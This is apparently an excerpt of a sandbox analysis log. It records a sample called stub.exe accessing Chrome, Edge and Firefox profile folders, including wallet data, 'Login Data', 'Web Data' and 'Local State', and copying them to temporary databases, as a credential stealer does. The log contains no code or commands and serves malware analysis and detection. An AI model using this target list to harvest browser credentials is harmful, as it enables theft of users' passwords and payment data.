Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sr VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\vi VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_CN VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_HK VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_TW VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm\x64 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\MEIPreload VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\OptimizationGuidePredictionModels VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\OptimizationHints VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\OriginTrials VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\PKIMetadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\RecoveryImproved VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Safe Browsing VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\segmentation_platform VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\ShaderCache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\369c055f-c2c3-46f7-acce-277a67e481b9 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ml VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ar VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\de VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\en-GB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\fr-CA VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ja VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\sv VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\zh-Hant VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\de VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\en-GB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\it VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hant VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification\ar VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ar VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\_metadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\PKIMetadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\bookmarkbackups VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\events VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\events VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\minidumps VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\saved-telemetry-pings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\security_state VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\to-be-removed VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Logins.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Logins.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Web.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
